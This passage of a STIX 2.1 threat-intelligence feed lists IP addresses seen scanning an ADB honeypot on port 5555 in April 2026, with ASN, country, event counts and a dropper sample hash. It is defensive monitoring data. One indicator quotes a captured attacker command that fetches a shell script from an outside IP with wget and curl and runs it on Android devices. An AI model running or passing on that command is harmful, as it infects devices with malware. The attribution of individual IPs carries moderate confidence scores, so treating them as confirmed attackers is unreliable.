          "first_seen": "2026-04-21T05:57:30.000Z",
          "last_seen": "2026-04-21T06:44:47.122Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RU"
          ],
          "asn": [
            "135377"
          ],
          "org": [
            "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-21T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-21T11:19:13.000Z | last_seen=2026-04-21T11:20:20.248Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--588e6aab-6aa2-46c5-9ada-5b1009d076e9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T12:00:02.000Z",
      "valid_until": "2026-05-23T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-21T11:19:13.000Z",
          "last_seen": "2026-04-21T11:20:20.248Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-21T13:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=MU; asn=23889; asn_org=MauritiusTelecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-21T12:51:36.000Z | last_seen=2026-04-21T13:01:48.639Z | ports=5555 | cc=MU | asn=23889 | org=MauritiusTelecom",
      "id": "indicator--1d48fbce-e39f-4218-b2b2-7c93453fc89c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '102.115.99.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T13:00:03.000Z",
      "valid_until": "2026-05-23T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-21T12:51:36.000Z",
          "last_seen": "2026-04-21T13:01:48.639Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MU"
          ],
          "asn": [
            "23889"
          ],
          "org": [
            "MauritiusTelecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-21T13:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-21T12:55:36.000Z | last_seen=2026-04-21T13:05:47.489Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--edbd0d4f-f6f2-4a8d-8cb6-7a87724fa014",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T13:00:03.000Z",
      "valid_until": "2026-05-23T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-21T12:55:36.000Z",
          "last_seen": "2026-04-21T13:05:47.489Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-21T13:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-21T12:54:51.000Z | last_seen=2026-04-21T12:55:59.274Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--f9ed24c8-bde9-438c-b24b-7b6c41634b0f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T13:00:03.000Z",
      "valid_until": "2026-05-23T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-21T12:54:51.000Z",
          "last_seen": "2026-04-21T12:55:59.274Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-21T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-21T15:47:26.000Z | last_seen=2026-04-21T15:48:31.565Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--f8a58ca7-aaa4-48c6-a105-8c295e729bc0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.33.95.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T16:00:02.000Z",
      "valid_until": "2026-05-23T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-21T15:47:26.000Z",
          "last_seen": "2026-04-21T15:48:31.565Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-21T17:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=DE; asn=31898; asn_org=Oracle Corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=27 | first_seen=2026-04-18T09:49:52.000Z | last_seen=2026-04-21T16:33:06.900Z | ports=5555 | cc=DE | asn=31898 | org=Oracle Corporation",
      "id": "indicator--191b3104-ea99-423f-bcb6-05e30d8c6cdb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '130.61.23.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T17:00:02.000Z",
      "valid_until": "2026-05-23T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 27,
          "first_seen": "2026-04-18T09:49:52.000Z",
          "last_seen": "2026-04-21T16:33:06.900Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "31898"
          ],
          "org": [
            "Oracle Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-21T17:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=33 | first_seen=2026-04-21T16:23:35.000Z | last_seen=2026-04-23T12:39:22.672Z | ports=5555 | cc=NL | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--76295ad3-0956-484e-bd01-dfc6c8d4f910",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T17:00:02.000Z",
      "valid_until": "2026-05-23T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 33,
          "first_seen": "2026-04-21T16:23:35.000Z",
          "last_seen": "2026-04-23T12:39:22.672Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-21T18:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=HK; asn=215778; asn_org=Alpha Strike Labs GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-21T17:58:33.000Z | last_seen=2026-04-21T18:08:36.964Z | ports=5555 | cc=HK | asn=215778 | org=Alpha Strike Labs GmbH",
      "id": "indicator--974dd2d9-8037-4de4-b362-42c2075e8a8f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T18:00:01.000Z",
      "valid_until": "2026-05-23T18:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-21T17:58:33.000Z",
          "last_seen": "2026-04-21T18:08:36.964Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "215778"
          ],
          "org": [
            "Alpha Strike Labs GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-21T18:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=HK; asn=215778; asn_org=Alpha Strike Labs GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-21T17:58:31.000Z | last_seen=2026-04-21T17:59:40.400Z | ports=5555 | cc=HK | asn=215778 | org=Alpha Strike Labs GmbH",
      "id": "indicator--29eba32c-0da7-4cd7-b725-bc15366a08e2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T18:00:01.000Z",
      "valid_until": "2026-05-23T18:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-21T17:58:31.000Z",
          "last_seen": "2026-04-21T17:59:40.400Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "215778"
          ],
          "org": [
            "Alpha Strike Labs GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-21T18:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=NL; asn=49981; asn_org=WorldStream B.V.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-21T17:12:31.000Z | last_seen=2026-04-21T17:13:41.501Z | ports=5555 | cc=NL | asn=49981 | org=WorldStream B.V.",
      "id": "indicator--d91cab75-0329-402c-93ab-ac2bf99b39a2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '212.8.252.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T18:00:01.000Z",
      "valid_until": "2026-05-23T18:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-21T17:12:31.000Z",
          "last_seen": "2026-04-21T17:13:41.501Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "49981"
          ],
          "org": [
            "WorldStream B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-21T19:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=DE; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=16 | first_seen=2026-04-21T18:11:28.000Z | last_seen=2026-04-21T18:22:08.085Z | ports=5555 | cc=DE | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--a95b5f7b-78c0-4e5e-9bfb-f1bddbb4aacf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '165.245.220.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T19:00:06.000Z",
      "valid_until": "2026-05-23T19:00:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 16,
          "first_seen": "2026-04-21T18:11:28.000Z",
          "last_seen": "2026-04-21T18:22:08.085Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-21T21:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=36 | first_seen=2026-04-21T20:38:12.000Z | last_seen=2026-04-26T11:23:06.326Z | ports=5555 | cc=NL | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--aab9205b-cfb8-419f-90ac-fe0d25d4ec84",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T21:00:01.000Z",
      "valid_until": "2026-05-23T21:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 36,
          "first_seen": "2026-04-21T20:38:12.000Z",
          "last_seen": "2026-04-26T11:23:06.326Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-21T21:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=20 | first_seen=2026-04-21T20:38:02.000Z | last_seen=2026-04-26T11:23:01.311Z | ports=5555 | cc=NL | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--fe62d51d-cbc7-403a-bee8-533d3af4a035",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T21:00:01.000Z",
      "valid_until": "2026-05-23T21:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 20,
          "first_seen": "2026-04-21T20:38:02.000Z",
          "last_seen": "2026-04-26T11:23:01.311Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-21T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; busybox wget http://176.65.139.8/wget.sh; sh wget.sh; curl http://176.65.139.8/wget.sh -o wget.sh; sh wget.sh; wget http://176.65.139.8/wge\"\n\nObserved in ADBHoney telemetry for 2026-04. events=31 | first_seen=2026-04-21T21:54:13.000Z | last_seen=2026-04-22T05:04:54.464Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--92dd67b6-a9be-419f-9b87-9657052ba21a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T22:00:02.000Z",
      "valid_until": "2026-05-23T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 31,
          "first_seen": "2026-04-21T21:54:13.000Z",
          "last_seen": "2026-04-22T05:04:54.464Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-21T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=22 | first_seen=2026-04-21T21:33:15.000Z | last_seen=2026-04-21T21:44:50.752Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--e754f851-6e1e-4c5c-b4bf-ec3e5071baa0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T22:00:02.000Z",
      "valid_until": "2026-05-23T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 22,
          "first_seen": "2026-04-21T21:33:15.000Z",
          "last_seen": "2026-04-21T21:44:50.752Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-21T22:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/2b526373f453242404ac5781e69784292b5d37ee5f136d5ab740224fc8567910.raw; last_seen=2026-04-21T21:54:16.232Z",
      "id": "indicator--a2c57c49-4892-4ba5-9a17-a7da048783b8",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '2b526373f453242404ac5781e69784292b5d37ee5f136d5ab740224fc8567910']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T22:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-22T01:00:08.000Z",
